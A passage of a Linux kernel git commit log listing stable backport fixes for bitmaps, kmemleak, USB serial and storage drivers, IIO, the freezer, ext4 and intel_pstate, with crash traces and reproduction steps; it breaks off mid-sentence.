__bitmap_shift_{left|right}() commit ea5d05b34aca25c066e0699512d0ffbd8ee6ac3e upstream. If __bitmap_shift_left() or __bitmap_shift_right() are asked to shift by a multiple of BITS_PER_LONG, they will try to shift a long value by BITS_PER_LONG bits which is undefined. Change the functions to avoid the undefined shift. Coverity id: 1192175 Coverity id: 1192174 Signed-off-by: Jan Kara Cc: Rasmus Villemoes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8154bfc3f986b64f97933dac069e84a296f5920a Author: Wang Nan Date: Wed Oct 29 14:50:18 2014 -0700 cgroup/kmemleak: add kmemleak_free() for cgroup deallocations. commit 401507d67d5c2854f5a88b3f93f64fc6f267bca5 upstream. Commit ff7ee93f4715 ("cgroup/kmemleak: Annotate alloc_page() for cgroup allocations") introduces kmemleak_alloc() for alloc_page_cgroup(), but corresponding kmemleak_free() is missing, which makes kmemleak be wrongly disabled after memory offlining. Log is pasted at the end of this commit message. This patch add kmemleak_free() into free_page_cgroup(). During page offlining, this patch removes corresponding entries in kmemleak rbtree. After that, the freed memory can be allocated again by other subsystems without killing kmemleak. bash # for x in 1 2 3 4; do echo offline > /sys/devices/system/memory/memory$x/state ; sleep 1; done ; dmesg | grep leak Offlined Pages 32768 kmemleak: Cannot insert 0xffff880016969000 into the object search tree (overlaps existing) CPU: 0 PID: 412 Comm: sleep Not tainted 3.17.0-rc5+ #86 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 Call Trace: dump_stack+0x46/0x58 create_object+0x266/0x2c0 kmemleak_alloc+0x26/0x50 kmem_cache_alloc+0xd3/0x160 __sigqueue_alloc+0x49/0xd0 __send_signal+0xcb/0x410 send_signal+0x45/0x90 __group_send_sig_info+0x13/0x20 do_notify_parent+0x1bb/0x260 do_exit+0x767/0xa40 do_group_exit+0x44/0xa0 SyS_exit_group+0x17/0x20 system_call_fastpath+0x16/0x1b kmemleak: Kernel memory leak detector disabled kmemleak: Object 0xffff880016900000 (size 524288): kmemleak: comm "swapper/0", pid 0, jiffies 4294667296 kmemleak: min_count = 0 kmemleak: count = 0 kmemleak: flags = 0x1 kmemleak: checksum = 0 kmemleak: backtrace: log_early+0x63/0x77 kmemleak_alloc+0x4b/0x50 init_section_page_cgroup+0x7f/0xf5 page_cgroup_init+0xc5/0xd0 start_kernel+0x333/0x408 x86_64_start_reservations+0x2a/0x2c x86_64_start_kernel+0xf5/0xfc Fixes: ff7ee93f4715 (cgroup/kmemleak: Annotate alloc_page() for cgroup allocations) Signed-off-by: Wang Nan Acked-by: Johannes Weiner Acked-by: Michal Hocko Cc: Steven Rostedt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1ad943fa5dfe5191ea4fb5eb3c7ce7f68f429da Author: Hans de Goede Date: Wed Oct 1 11:29:14 2014 +0200 usb: Do not allow usb_alloc_streams on unconfigured devices commit 90a646c770c50cc206ceba0d7b50453c46c13c36 upstream. This commit fixes the following oops: [10238.622067] scsi host3: uas_eh_bus_reset_handler start [10240.766164] usb 3-4: reset SuperSpeed USB device number 3 using xhci_hcd [10245.779365] usb 3-4: device descriptor read/8, error -110 [10245.883331] usb 3-4: reset SuperSpeed USB device number 3 using xhci_hcd [10250.897603] usb 3-4: device descriptor read/8, error -110 [10251.058200] BUG: unable to handle kernel NULL pointer dereference at 0000000000000040 [10251.058244] IP: [] xhci_check_streams_endpoint+0x91/0x140 [10251.059473] Call Trace: [10251.059487] [] xhci_calculate_streams_and_bitmask+0xbc/0x130 [10251.059520] [] xhci_alloc_streams+0x10f/0x5a0 [10251.059548] [] ? check_preempt_curr+0x75/0xa0 [10251.059575] [] ? ttwu_do_wakeup+0x2c/0x100 [10251.059601] [] ? ttwu_do_activate.constprop.111+0x66/0x70 [10251.059635] [] usb_alloc_streams+0xab/0xf0 [10251.059662] [] uas_configure_endpoints+0x128/0x150 [uas] [10251.059694] [] uas_post_reset+0x3c/0xb0 [uas] [10251.059722] [] usb_reset_device+0x1b9/0x2a0 [10251.059749] [] uas_eh_bus_reset_handler+0xb2/0x190 [uas] [10251.059781] [] scsi_try_bus_reset+0x53/0x110 [10251.059808] [] scsi_eh_bus_reset+0xf7/0x270 The problem is the following call sequence (simplified): 1) usb_reset_device 2) usb_reset_and_verify_device 2) hub_port_init 3) hub_port_finish_reset 3) xhci_discover_or_reset_device This frees xhci->devs[slot_id]->eps[ep_index].ring for all eps but 0 4) usb_get_device_descriptor This fails 5) hub_port_init fails 6) usb_reset_and_verify_device fails, does not restore device config 7) uas_post_reset 8) xhci_alloc_streams NULL deref on the free-ed ring This commit fixes this by not allowing usb_alloc_streams to continue if the device is not configured. Note that we do allow usb_free_streams to continue after a (logical) disconnect, as it is necessary to explicitly free the streams at the xhci controller level. Signed-off-by: Hans de Goede Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ec57f24a2cbfdc5432120ecd5c24de6d6a02542 Author: Johan Hovold Date: Wed Oct 29 09:07:31 2014 +0100 USB: opticon: fix non-atomic allocation in write path commit e681286de221af78fc85db9222b6a203148c005a upstream. Write may be called from interrupt context so make sure to use GFP_ATOMIC for all allocations in write. Fixes: 0d930e51cfe6 ("USB: opticon: Add Opticon OPN2001 write support") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3ca39f7cd53cb49619b45a470f5c4e5b42aac22 Author: Alan Stern Date: Fri Oct 31 14:49:47 2014 -0400 usb-storage: handle a skipped data phase commit 93c9bf4d1838d5851a18ca398b0ad66397f05056 upstream. Sometimes mass-storage devices using the Bulk-only transport will mistakenly skip the data phase of a command. Rather than sending the data expected by the host or sending a zero-length packet, they go directly to the status phase and send the CSW. This causes problems for usb-storage, for obvious reasons. The driver will interpret the CSW as a short data transfer and will wait to receive a CSW. The device won't have anything left to send, so the command eventually times out. The SCSI layer doesn't retry commands after they time out (this is a relatively recent change). Therefore we should do our best to detect a skipped data phase and handle it promptly. This patch adds code to do that. If usb-storage receives a short 13-byte data transfer from the device, and if the first four bytes of the data match the CSW signature, the driver will set the residue to the full transfer length and interpret the data as a CSW. This fixes Bugzilla #86611. Signed-off-by: Alan Stern CC: Matthew Dharm Tested-by: Paul Osmialowski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d05c7c74776a5c68e18595c938537c1b6466b694 Author: Dmitry Eremin-Solenikov Date: Thu Nov 6 14:08:29 2014 +0300 spi: pxa2xx: toggle clocks on suspend if not disabled by runtime PM commit 2b9375b91bef65b837bed61a05fb387159b38ddf upstream. If PM_RUNTIME is enabled, it is easy to trigger the following backtrace on pxa2xx hosts: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 1 at /home/lumag/linux/arch/arm/mach-pxa/clock.c:35 clk_disable+0xa0/0xa8() Modules linked in: CPU: 0 PID: 1 Comm: swapper Not tainted 3.17.0-00007-g1b3d2ee-dirty #104 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (warn_slowpath_common+0x6c/0x8c) [] (warn_slowpath_common) from [] (warn_slowpath_null+0x1c/0x24) [] (warn_slowpath_null) from [] (clk_disable+0xa0/0xa8) [] (clk_disable) from [] (pxa2xx_spi_suspend+0x2c/0x34) [] (pxa2xx_spi_suspend) from [] (platform_pm_suspend+0x2c/0x54) [] (platform_pm_suspend) from [] (dpm_run_callback.isra.14+0x2c/0x74) [] (dpm_run_callback.isra.14) from [] (__device_suspend+0x120/0x2f8) [] (__device_suspend) from [] (dpm_suspend+0x50/0x208) [] (dpm_suspend) from [] (suspend_devices_and_enter+0x8c/0x3a0) [] (suspend_devices_and_enter) from [] (pm_suspend+0x214/0x2a8) [] (pm_suspend) from [] (test_suspend+0x14c/0x1dc) [] (test_suspend) from [] (do_one_initcall+0x8c/0x1fc) [] (do_one_initcall) from [] (kernel_init_freeable+0xf4/0x1b4) [] (kernel_init_freeable) from [] (kernel_init+0x8/0xec) [] (kernel_init) from [] (ret_from_fork+0x14/0x24) ---[ end trace 46524156d8faa4f6 ]--- This happens because suspend function tries to disable a clock that is already disabled by runtime_suspend callback. Add if (!pm_runtime_suspended()) checks to suspend/resume path. Fixes: 7d94a505858 (spi/pxa2xx: add support for runtime PM) Signed-off-by: Dmitry Eremin-Solenikov Reported-by: Andrea Adami Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b68b4495ce4f87a04441ef17d8b67201ee8883a Author: Ray Jui Date: Thu Oct 9 11:44:54 2014 -0700 spi: pl022: Fix incorrect dma_unmap_sg commit 3ffa6158f002e096d28ede71be4e0ee8ab20baa2 upstream. When mapped RX DMA entries are unmapped in an error condition when DMA is firstly configured in the driver, the number of TX DMA entries was passed in, which is incorrect Signed-off-by: Ray Jui Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9daaa54669847bcdbd329699649bc381c8a17866 Author: Cyril Brulebois Date: Tue Oct 28 16:42:41 2014 +0100 wireless: rt2x00: add new rt2800usb device commit 664d6a792785cc677c2091038ce10322c8d04ae1 upstream. 0x1b75 0xa200 AirLive WN-200USB wireless 11b/g/n dongle References: https://bugs.debian.org/766802 Reported-by: Martin Mokrejs Signed-off-by: Cyril Brulebois Acked-by: Stanislaw Gruszka Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 250b19ac8e58c571809d4b2a9f733248970ef812 Author: Dan Williams Date: Tue Oct 14 11:10:41 2014 -0500 USB: option: add Haier CE81B CDMA modem commit 012eee1522318b5ccd64d277d50ac32f7e9974fe upstream. Port layout: 0: QCDM/DIAG 1: NMEA 2: AT 3: AT/PPP Signed-off-by: Dan Williams Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6bd314fe3375b36562f36e256bdf5481e4c810e7 Author: Daniele Palmas Date: Tue Oct 14 10:47:37 2014 +0200 usb: option: add support for Telit LE910 commit 2d0eb862dd477c3c4f32b201254ca0b40e6f465c upstream. Add VID/PID for Telit LE910 modem. Interfaces description is almost the same than LE920, except that the qmi interface is number 2 (instead than 5). Signed-off-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50a2205b37c7e65437f5d8a89731fd1787e03361 Author: Johan Hovold Date: Wed Nov 5 18:41:59 2014 +0100 USB: cdc-acm: only raise DTR on transitions from B0 commit 4473d054ceb572557954f9536731d39b20937b0c upstream. Make sure to only raise DTR on transitions from B0 in set_termios. Also allow set_termios to be called from open with a termios_old of NULL. Note that DTR will not be raised prematurely in this case. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 598d8ec5bd89dae9f1602468f538ad8a141c348e Author: Johan Hovold Date: Mon Oct 27 18:34:33 2014 +0100 USB: cdc-acm: add device id for GW Instek AFG-2225 commit cf84a691a61606a2e7269907d3727e2d9fa148ee upstream. Add device-id entry for GW Instek AFG-2225, which has a byte swapped bInterfaceSubClass (0x20). Reported-by: Karl Palsson Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dda5a718d0f459ec132a5f7a53cb1a60c6adf68d Author: Perry Hung Date: Wed Oct 22 23:31:34 2014 -0400 usb: serial: ftdi_sio: add "bricked" FTDI device PID commit 7f2719f0003da1ad13124ef00f48d7514c79e30d upstream. An official recent Windows driver from FTDI detects counterfeit devices and reprograms the internal EEPROM containing the USB PID to 0, effectively bricking the device. Add support for this VID/PID pair to correctly bind the driver on these devices. See: http://hackaday.com/2014/10/22/watch-that-windows-update-ftdi-drivers-are-killing-fake-chips/ Signed-off-by: Perry Hung Acked-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f7bebac2f353e9e65d86d6dea76de199d8c2f7c Author: Frans Klaver Date: Fri Oct 10 11:52:08 2014 +0200 usb: serial: ftdi_sio: add Awinda Station and Dongle products commit edd74ffab1f6909eee400c7de8ce621870aacac9 upstream. Add new IDs for the Xsens Awinda Station and Awinda Dongle. While at it, order the definitions by PID and add a logical separation between devices using Xsens' VID and those using FTDI's VID. Signed-off-by: Frans Klaver Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26d7fc5b94865e5386341f3bce76c0dad56ffb94 Author: Nathaniel Ting Date: Fri Oct 3 12:01:20 2014 -0400 USB: serial: cp210x: add Silicon Labs 358x VID and PID commit 35cc83eab097e5720a9cc0ec12bdc3a726f58381 upstream. Enable Silicon Labs Ember VID chips to enumerate with the cp210x usb serial driver. EM358x devices operating with the Ember Z-Net 5.1.2 stack may now connect to host PCs over a USB serial link. Signed-off-by: Nathaniel Ting Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d986ed51d10aaf7f36a18e8c76c648e50dc8c2eb Author: Peter Hurley Date: Thu Oct 16 13:46:38 2014 -0400 serial: Fix divide-by-zero fault in uart_get_divisor() commit 547039ec502076e60034eeb79611df3433a99b7d upstream. uart_get_baud_rate() will return baud == 0 if the max rate is set to the "magic" 38400 rate and the SPD_* flags are also specified. On the first iteration, if the current baud rate is higher than the max, the baud rate is clamped at the max (which in the degenerate case is 38400). On the second iteration, the now-"magic" 38400 baud rate selects the possibly higher alternate baud rate indicated by the SPD_* flag. Since only two loop iterations are performed, the loop is exited, a kernel WARNING is generated and a baud rate of 0 is returned. Reproducible with: setserial /dev/ttyS0 spd_hi base_baud 38400 Only perform the "magic" 38400 -> SPD_* baud transform on the first loop iteration, which prevents the degenerate case from recognizing the clamped baud rate as the "magic" 38400 value. Reported-by: Robert ÅšwiÄ™cki Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d32560eab034b707a0053caa822269f1f507a224 Author: Lars-Peter Clausen Date: Tue Nov 4 18:03:16 2014 +0100 staging:iio:ade7758: Remove "raw" from channel name commit b598aacc29331e7e638cd509108600e916c6331b upstream. "raw" is a property of a channel, but should not be part of the name of channel. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db17d08bf9384921642f56e7b506557b5b51b736 Author: Lars-Peter Clausen Date: Tue Nov 4 18:03:15 2014 +0100 staging:iio:ade7758: Fix check if channels are enabled in prenable commit 79fa64eb2ee8ccb4bcad7f54caa2699730b10b22 upstream. We should check if a channel is enabled, not if no channels are enabled. Fixes: 550268ca1111 ("staging:iio: scrap scan_count and ensure all drivers use active_scan_mask") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 535a6d514ce39018b0e320941a2057d9da91c7fa Author: Lars-Peter Clausen Date: Tue Nov 4 18:03:14 2014 +0100 staging:iio:ade7758: Fix NULL pointer deref when enabling buffer commit e10554738cab4224e097c2f9d975ea781a4fcde4 upstream. In older versions of the IIO framework it was possible to pass a completely different set of channels to iio_buffer_register() as the one that is assigned to the IIO device. Commit 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") introduced a restriction that requires that the set of channels that is passed to iio_buffer_register() is a subset of the channels assigned to the IIO device as the IIO core will use the list of channels that is assigned to the device to lookup a channel by scan index in iio_compute_scan_bytes(). If it can not find the channel the function will crash. This patch fixes the issue by making sure that the same set of channels is assigned to the IIO device and passed to iio_buffer_register(). Note that we need to remove the IIO_CHAN_INFO_RAW and IIO_CHAN_INFO_SCALE info attributes from the channels since we don't actually want those to be registered. Fixes the following crash: Unable to handle kernel NULL pointer dereference at virtual address 00000016 pgd = d2094000 [00000016] *pgd=16e39831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: CPU: 1 PID: 1695 Comm: bash Not tainted 3.17.0-06329-g29461ee #9686 task: d7768040 ti: d5bd4000 task.ti: d5bd4000 PC is at iio_compute_scan_bytes+0x38/0xc0 LR is at iio_compute_scan_bytes+0x34/0xc0 pc : [] lr : [] psr: 60070013 sp : d5bd5ec0 ip : 00000000 fp : 00000000 r10: d769f934 r9 : 00000000 r8 : 00000001 r7 : 00000000 r6 : c8fc6240 r5 : d769f800 r4 : 00000000 r3 : d769f800 r2 : 00000000 r1 : ffffffff r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 18c5387d Table: 1209404a DAC: 00000015 Process bash (pid: 1695, stack limit = 0xd5bd4240) Stack: (0xd5bd5ec0 to 0xd5bd6000) 5ec0: d769f800 d7435640 c8fc6240 d769f984 00000000 c03175a4 d7435690 d7435640 5ee0: d769f990 00000002 00000000 d769f800 d5bd4000 00000000 000b43a8 c03177f4 5f00: d769f810 0162b8c8 00000002 c8fc7e00 d77f1d08 d77f1da8 c8fc7e00 c01faf1c 5f20: 00000002 c010694c c010690c d5bd5f88 00000002 c8fc6840 c8fc684c c0105e08 5f40: 00000000 00000000 d20d1580 00000002 000af408 d5bd5f88 c000de84 c00b76d4 5f60: d20d1580 000af408 00000002 d20d1580 d20d1580 00000002 000af408 c000de84 5f80: 00000000 c00b7a44 00000000 00000000 00000002 b6ebea78 00000002 000af408 5fa0: 00000004 c000dd00 b6ebea78 00000002 00000001 000af408 00000002 00000000 5fc0: b6ebea78 00000002 000af408 00000004 bee96a4c 000a6094 00000000 000b43a8 5fe0: 00000000 bee969cc b6e2eb77 b6e6525c 40070010 00000001 00000000 00000000 [] (iio_compute_scan_bytes) from [] (__iio_update_buffers+0x248/0x438) [] (__iio_update_buffers) from [] (iio_buffer_store_enable+0x60/0x7c) [] (iio_buffer_store_enable) from [] (dev_attr_store+0x18/0x24) [] (dev_attr_store) from [] (sysfs_kf_write+0x40/0x4c) [] (sysfs_kf_write) from [] (kernfs_fop_write+0x110/0x154) [] (kernfs_fop_write) from [] (vfs_write+0xbc/0x170) [] (vfs_write) from [] (SyS_write+0x40/0x78) [] (SyS_write) from [] (ret_fast_syscall+0x0/0x30) Fixes: 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ccbb465c6e56e90a15ca883444960b94cb8bc28e Author: Lars-Peter Clausen Date: Thu Sep 25 15:27:00 2014 +0100 staging:iio:ad5933: Drop "raw" from channel names commit 6822ee34ad57b29a3b44df2c2829910f03c34fa4 upstream. "raw" is the name of a channel property, but should not be part of the channel name itself. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0fdce26a813a02042580e82ad1a7a46f5e2128fb Author: Lars-Peter Clausen Date: Thu Sep 25 15:27:00 2014 +0100 staging:iio:ad5933: Fix NULL pointer deref when enabling buffer commit 824269c5868d2a7a26417e5ef3841a27d42c6139 upstream. In older versions of the IIO framework it was possible to pass a completely different set of channels to iio_buffer_register() as the one that is assigned to the IIO device. Commit 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") introduced a restriction that requires that the set of channels that is passed to iio_buffer_register() is a subset of the channels assigned to the IIO device as the IIO core will use the list of channels that is assigned to the device to lookup a channel by scan index in iio_compute_scan_bytes(). If it can not find the channel the function will crash. This patch fixes the issue by making sure that the same set of channels is assigned to the IIO device and passed to iio_buffer_register(). Fixes the follow NULL pointer derefernce kernel crash: Unable to handle kernel NULL pointer dereference at virtual address 00000016 pgd = d53d0000 [00000016] *pgd=1534e831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: CPU: 1 PID: 1626 Comm: bash Not tainted 3.15.0-19969-g2a180eb-dirty #9545 task: d6c124c0 ti: d539a000 task.ti: d539a000 PC is at iio_compute_scan_bytes+0x34/0xa8 LR is at iio_compute_scan_bytes+0x34/0xa8 pc : [] lr : [] psr: 60070013 sp : d539beb8 ip : 00000001 fp : 00000000 r10: 00000002 r9 : 00000000 r8 : 00000001 r7 : 00000000 r6 : d6dc8800 r5 : d7571000 r4 : 00000002 r3 : d7571000 r2 : 00000044 r1 : 00000001 r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 18c5387d Table: 153d004a DAC: 00000015 Process bash (pid: 1626, stack limit = 0xd539a240) Stack: (0xd539beb8 to 0xd539c000) bea0: c02fc0e4 d7571000 bec0: d76c1640 d6dc8800 d757117c 00000000 d757112c c0305b04 d76c1690 d76c1640 bee0: d7571188 00000002 00000000 d7571000 d539a000 00000000 000dd1c8 c0305d54 bf00: d7571010 0160b868 00000002 c69d3900 d7573278 d7573308 c69d3900 c01ece90 bf20: 00000002 c0103fac c0103f6c d539bf88 00000002 c69d3b00 c69d3b0c c0103468 bf40: 00000000 00000000 d7694a00 00000002 000af408 d539bf88 c000dd84 c00b2f94 bf60: d7694a00 000af408 00000002 d7694a00 d7694a00 00000002 000af408 c000dd84 bf80: 00000000 c00b32d0 00000000 00000000 00000002 b6f1aa78 00000002 000af408 bfa0: 00000004 c000dc00 b6f1aa78 00000002 00000001 000af408 00000002 00000000 bfc0: b6f1aa78 00000002 000af408 00000004 be806a4c 000a6094 00000000 000dd1c8 bfe0: 00000000 be8069cc b6e8ab77 b6ec125c 40070010 00000001 22940489 154a5007 [] (iio_compute_scan_bytes) from [] (__iio_update_buffers+0x248/0x438) [] (__iio_update_buffers) from [] (iio_buffer_store_enable+0x60/0x7c) [] (iio_buffer_store_enable) from [] (dev_attr_store+0x18/0x24) [] (dev_attr_store) from [] (sysfs_kf_write+0x40/0x4c) [] (sysfs_kf_write) from [] (kernfs_fop_write+0x110/0x154) [] (kernfs_fop_write) from [] (vfs_write+0xd0/0x160) [] (vfs_write) from [] (SyS_write+0x40/0x78) [] (SyS_write) from [] (ret_fast_syscall+0x0/0x30) Code: ea00000e e1a01008 e1a00005 ebfff6fc (e5d0a016) Fixes: 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9291d87c36fed00899c7ef72211bb4e8bdcffeaf Author: Michal Hocko Date: Mon Oct 20 18:12:32 2014 +0200 OOM, PM: OOM killed task shouldn't escape PM suspend commit 5695be142e203167e3cb515ef86a88424f3524eb upstream. PM freezer relies on having all tasks frozen by the time devices are getting frozen so that no task will touch them while they are getting frozen. But OOM killer is allowed to kill an already frozen task in order to handle OOM situtation. In order to protect from late wake ups OOM killer is disabled after all tasks are frozen. This, however, still keeps a window open when a killed task didn't manage to die by the time freeze_processes finishes. Reduce the race window by checking all tasks after OOM killer has been disabled. This is still not race free completely unfortunately because oom_killer_disable cannot stop an already ongoing OOM killer so a task might still wake up from the fridge and get killed without freeze_processes noticing. Full synchronization of OOM and freezer is, however, too heavy weight for this highly unlikely case. Introduce and check oom_kills counter which gets incremented early when the allocator enters __alloc_pages_may_oom path and only check all the tasks if the counter changes during the freezing attempt. The counter is updated so early to reduce the race window since allocator checked oom_killer_disabled which is set by PM-freezing code. A false positive will push the PM-freezer into a slow path but that is not a big deal. Changes since v1 - push the re-check loop out of freeze_processes into check_frozen_processes and invert the condition to make the code more readable as per Rafael Fixes: f660daac474c6f (oom: thaw threads if oom killed thread is frozen before deferring) Signed-off-by: Michal Hocko Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74c4d91649b7922561b9218a25a54b536198485b Author: Cong Wang Date: Tue Oct 21 09:27:12 2014 +0200 freezer: Do not freeze tasks killed by OOM killer commit 51fae6da640edf9d266c94f36bc806c63c301991 upstream. Since f660daac474c6f (oom: thaw threads if oom killed thread is frozen before deferring) OOM killer relies on being able to thaw a frozen task to handle OOM situation but a3201227f803 (freezer: make freezing() test freeze conditions in effect instead of TIF_FREEZE) has reorganized the code and stopped clearing freeze flag in __thaw_task. This means that the target task only wakes up and goes into the fridge again because the freezing condition hasn't changed for it. This reintroduces the bug fixed by f660daac474c6f. Fix the issue by checking for TIF_MEMDIE thread flag in freezing_slow_path and exclude the task from freezing completely. If a task was already frozen it would get woken by __thaw_task from OOM killer and get out of freezer after rechecking freezing(). Changes since v1 - put TIF_MEMDIE check into freezing_slowpath rather than in __refrigerator as per Oleg - return __thaw_task into oom_scan_process_thread because oom_kill_process will not wake task in the fridge because it is sleeping uninterruptible [mhocko@suse.cz: rewrote the changelog] Fixes: a3201227f803 (freezer: make freezing() test freeze conditions in effect instead of TIF_FREEZE) Signed-off-by: Cong Wang Signed-off-by: Michal Hocko Acked-by: Oleg Nesterov Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fcdd9acb4d1ee8e3273d5c50c5cdd9f8b4d5c542 Author: Jan Kara Date: Thu Oct 30 10:53:16 2014 -0400 ext4: fix oops when loading block bitmap failed commit 599a9b77ab289d85c2d5c8607624efbe1f552b0f upstream. When we fail to load block bitmap in __ext4_new_inode() we will dereference NULL pointer in ext4_journal_get_write_access(). So check for error from ext4_read_block_bitmap(). Coverity-id: 989065 Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1d8658791fa1073f02390ae0667357bc236697d Author: Pali Rohár Date: Thu Oct 16 01:16:51 2014 +0200 cpufreq: intel_pstate: Fix setting max_perf_pct in performance policy commit 36b4bed5cd8f6e17019fa7d380e0836872c7b367 upstream. Code which changes policy to powersave changes also max_policy_pct based on max_freq. Code which change max_perf_pct has upper limit base on value max_policy_pct. When policy is changing from powersave back to performance then max_policy_pct is not changed. Which means that changing max_perf_pct is not possible to high values if max_freq was too low in powersave policy. Test case: $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq 800000 $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 3300000 $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor performance $ cat /sys/devices/system/cpu/intel_pstate/max_perf_pct 100 $ echo powersave > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor $ echo 800000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq $ echo 20 > /sys/devices/system/cpu/intel_pstate/max_perf_pct $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 800000 $ cat /sys/devices/system/cpu/intel_pstate/max_perf_pct 20 $ echo performance > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor $ echo 3300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq $ echo 100 > /sys/devices/system/cpu/intel_pstate/max_perf_pct $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor performance $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 3300000 $ cat /sys/devices/system/cpu/intel_pstate/max_perf_pct 24 And now intel_pstate driver allows to set maximal value for max_perf_pct based on max_policy_pct which is 24 for previous powersave max_freq 800000. This patch will set default value for max_policy_pct when setting policy to performance so it will allow to set also max value for max_perf_pct. Signed-off-by: Pali Rohár Acked-by: Dirk Brandewie Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2255b5331b51a45432dde4d187556268f2f92c0 Author: Jan Kara Date: Thu Oct 30 10:52:57 2014 -0400 ext4: fix overflow when updating superblock backups after resize commit 9378c6768e4fca48971e7b6a9075bc006eda981d upstream. When there are no meta block groups update_backups() will compute the backup block in 32-bit arithmetics thus possibly overflowing the block number and corrupting the filesystem. OTOH filesystems without meta block groups larger than 16 TB should be rare. Fix the problem by doing the counting in 64-bit arithmetics. Coverity-id: 741252 Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Reviewed-by: Lukas Czerner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 646335bb69fd9eebaf76c81821a7ca17db2ea1dc Author: Darrick J. Wong Date: Tue Oct 14 02:35:49 2014 -0400 ext4: check s_chksum_driver when looking for bg csum presence commit 813d32f91333e4c33d5a19b67167c4bae42dae75 upstream. Convert the ext4_has_group_desc_csum predicate to look for a checksum driver instead of the metadata_csum flag and change the bg checksum calculation function to look for GDT_CSUM before taking the crc16 path. Without this patch, if we mount with ^uninit_bg,^metadata_csum and later metadata_csum gets turned on by accident, the block group checksum functions will incorrectly assume that checksumming is enabled (metadata_csum) but that crc16 should be used (!s_chksum_driver). This is totally wrong, so fix the predicate and the checksum formula selection. (Granted, if the metadata_csum feature bit gets enabled on a live FS then something underhanded is going on, but we could at least avoid writing garbage into the on-disk fields.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Reviewed-by: Dmitry Monakhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea822e17e9ac35553346f107f87ca2de17e16f0c Author: Eric Sandeen Date: Sat Oct 11 19:51:17 2014 -0400 ext4: fix reservation overflow in ext4_da_write_begin commit 0ff8947fc5f700172b37cbca811a38eb9cb81e08 upstream. Delalloc write journal reservations only reserve 1 credit, to update the inode if necessary. However, it may happen once in a filesystem's lifetime that a file will cross the 2G threshold, and require the LARGE_FILE feature to be set in the superblock as well, if it was not set already. This overruns the transaction reservation, and can be demonstrated 